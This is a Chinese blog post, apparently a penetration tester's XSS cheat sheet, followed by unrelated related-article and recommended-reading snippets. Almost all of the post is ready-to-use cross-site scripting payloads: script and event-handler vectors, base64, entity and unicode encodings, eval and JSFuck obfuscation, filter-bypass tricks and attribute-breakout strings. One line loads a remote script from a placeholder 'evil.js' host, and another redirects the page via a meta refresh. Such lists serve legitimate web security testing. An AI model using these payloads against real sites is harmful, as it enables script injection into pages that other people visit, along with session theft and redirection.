日期:2019-05-15 14:06:21
作者:Bay0net
介绍:收集并且可用的一些 XSS payload,网上的速查表很多,但是测试了下很多 payload 的不可用,这里都是自己能用的


0x01、 基本流程

先使用无害的标签进行测试,比如<b>、<i>、<u>等,然后在测试是否过滤了 '、"、<>

0x02、可用的 payload

日常使用

<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<scRipT>alert(999999)</ScriPt>
<script src="http://xss.com/evil.js">
<script src=data:text/javascript,alert(1)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>setTimeout(alert(1),0)</script>

编码相关

unicode

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

base64

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">

html 实体

<script src=&#100&#97&#116&#97:text/javascript,alert(1)></script>
<a href= 'javascript:alert('123') '>Hello</a>
<a href= "javascript:alert( '123' )">Hello</a >
<a href= "javascript:alert( '123' )">Hello</a >
<a href= "j&#97vascript:alert&#0000040'123' &#41">Hello</a >
<input onfocus="&#97&#108&#101&#114&#116&#40&#39&#49&#39&#41" autofocus/>

eval 函数

<a  href="javascript:eval('a\x6c\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="javascript:eval('a\u006C\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>
<a href="javascript:eval('a\154\x65\x72\x74\x28\x22\x31\x22\x29')">Hello</a>

SRC 属性

<img src=x  onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);>
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);> <img src="#" onclick="javascript:alert('img:onclick')" onerror="javascript:alert('img:onerror')" onload="javascript:alert('img:onload')">
<video src="#" onclick="javascript:alert('video:onclick')" onerror="javascript:alert('video:onerror')" onload="javascript:alert('video:onload')"></video>
<audio src="#" onclick="javascript:alert('audio:onclick')" onerror="javascript:alert('audio:onerror')" onload="javascript:alert('audio:onload')"></audio> img、video、audio 标签
onclick: 点击触发
onerror: 当 src 加载不出来时触发
onload: 当 src 加载完毕触发

iframe

<iframe src="javascript:alert(2)">
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<iframe/onload=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>

过滤相关

过滤空格和括号
<svg><script>alert&#40/1/&#41</script>
( is html encoded to &#40
) is html encoded to &#41 过滤括号
<input onfocus="alert`1`" autofocus/> 过滤了<script>的话
<scr<script>ipt>alert(1)</scr<script>ipt>;

其他标签

embed
<embed/src=//www.baidu.com> form
<form action="Javascript:alert(1)"><input type=submit value="click me">
<form><button formaction=javascript&colon;alert(1)>CLICKME
<form/action=javascript:alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M object
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object> anytag
<anytag onmouseover=alert(15)>M
<anytag onclick=alert(16)>click a 标签
<a href="http://www.google.com">Clickme</a>
<a href="javascript:alert(1)">Clickme</a>
<a onmouseover=alert(17)>1
<a href=javascript:alert(19)>123 button 标签
<button/onclick=alert(20)> input 标签
<input onfocus=alert(33) autofocus>
<input onblur=alert(34) autofocus><input autofocus> body
<body/onhashchange=alert(1)><a href=#>clickit
<body/onload=alert(25)>
<body onload=prompt(1);> svg 标签
<svg/onload=prompt(1);>

事件处理

可用的事件

onResume
onReverse
onSeek
onSynchRestored
onURLFlip
onRepeat
onPause
onstop
onmouseover

具体的 payload

<body onload=prompt(1);>
<body onload= "javascript:alert('body')"></body>
<svg onload=" javascript:alert('svg')"></svg >
<a onmouseover= "javascript:alert('a_onmouseover')">12</ a>
<select autofocus onfocus=alert(1)>
<select autofocus onfocus="javascript:alert('select' )"></select>
<textarea autofocus onfocus=alert(1)>
<textarea autofocus onfocus="javascript:alert('textarea' )"></textarea>
<keygen autofocus onfocus=alert(1)>
<keygen autofocus onfocus="javascript:alert('keygen' )"></keygen>
<video><source onerror="javascript:alert(1)">
<audio><source onerror="javascript:alert('source')"></ audio> meta
<meta http-equiv="refresh" content="0;url=//baidu.com">

JSFuck

<img src=x onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()>

0x03、特定情况

基于反射

代码:<input value="XSStest" type=text>
其中的 XSStest,可以使用以下 payload

" onmouseover=alert(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="

服务器过滤说明

一般都过滤成这个样子

小于号这样写:&lt; 或 <
大于号这样写:&gt; 或 >

0x04、XSSgame

XSS Game

【命令汇总】XSS payload 速查表的更多相关文章

  1. Git 命令速查表

    Git 命令速查表 1.常用的Git命令 命令 简要说明 git add 添加至暂存区 git add-interactive 交互式添加 git apply 应用补丁 git am 应用邮件格式补丁 ...

  2. Git 常用命令速查表(图文+表格)

    一. Git 常用命令速查 git branch 查看本地所有分支git status 查看当前状态 git commit 提交 git branch -a 查看所有的分支git branch -r ...

  3. Git命令速查表【转】

    本文转载自:http://www.cnblogs.com/kenshinobiy/p/4543976.html 一. Git 常用命令速查 git branch 查看本地所有分支git status ...

  4. Git 常用命令速查表(图文+表格)【转】

    转自:http://www.jb51.net/article/55442.htm 一. Git 常用命令速查 git branch 查看本地所有分支git status 查看当前状态 git comm ...

  5. 简明 Git 命令速查表(中文版)

    原文引用地址:https://github.com/flyhigher139/Git-Cheat-Sheet/blob/master/Git%20Cheat%20Sheet-Zh.md在Github上 ...

  6. OpenStack 命令行速查表

    OpenStack 命令行速查表   updated: 2017-07-18 08:53 Contents 认证 (keystone) 镜像(glance) 计算 (nova) 实例的暂停.挂起.停止 ...

  7. GNU Emacs命令速查表

    GNU Emacs命令速查表 第一章  Emacs的基本概念 表1-1:Emacs编辑器的主模式 模式 功能 基本模式(fundamental mode) 默认模式,无特殊行为 文本模式(text m ...

  8. MongoDB 命令速查表

    MongoDB  是一个面向文档可扩展的高性能开源数据库,典型的应用场景有网页数据,缓存,代替文档存储等. 命令的记忆和使用是一门基本功,这里准备了速查表,可以做案头手册. 库操作 切换或使用数据库 ...

  9. VIM 命令速查表

    今天整理一份 VIM 常用命令速查表,当做给自己备忘. 进入VIM 相关 命令 描述 vim filename 打开或者新建文件 vim +n filename 打开文件并将光标置于第n行行首 vim ...

随机推荐

  1. Inno setup 开源的安装包打包软件

    Inno Setup是一个开源的安装包打包软件,下载地址是:http://www.jrsoftware.org/isdl.php 使用引导界面创建一个安装包打包 配置参考官方文档:http://www ...

  2. [易学易懂系列|rustlang语言|零基础|快速入门|(7)|函数Functions与闭包Closure]

    [易学易懂系列|rustlang语言|零基础|快速入门|(7)函数Functions与闭包Closure] 有意思的基础知识 函数Functions与闭包Closure 我们今天再来看看函数. 在Ru ...

  3. C# WinFrom自适应

    1.在窗体的Project中建一个自适应的类. 2.类的代码如下 public class AutoSizeForm { //(1).声明结构,只记录窗体和其控件的初始位置和大小. public st ...

  4. CSS中filter属性的使用

    filter 属性定义了元素的可视效果 blur 给图像设置高斯模糊."radius"一值设定高斯函数的标准差,或者是屏幕上以多少像素融在一起, 所以值越大越模糊. 如果没有设定值 ...

  5. 谈谈对AQS的一些理解

    AQS的概念 AQS全称AbstractQueuedSynchronizer,是java并发包中的核心类,诸如ReentrantLock,CountDownLatch等工具内部都使用了AQS去维护锁的 ...

  6. asp.net mvc + vue.js + axios.js

    1.新建一个 MVC 应用程序 2.右键解决方案 添加VUE 3.搜索vue 1.安装axios.js ,用于数据请求,get , post axios

  7. MegaPixImage插件代码(new MegaPixImage)

    /** * Mega pixel image rendering library for iOS6 Safari * * Fixes iOS6 Safari's image file renderin ...

  8. IM 云通信

    在项目开发中遇到的问题: 在项目中所有的id都必须为字符串类型

  9. vscode匹配括号插件

    给大家推荐一个vscode匹配括号的插件: Bracket Pair Colorizer.超级好用哦

  10. List集合中对象的排序

    使用到的是: Collections.sort(); 用法是: List<Book> list_book = new ArrayList<Book>(); Book book= ...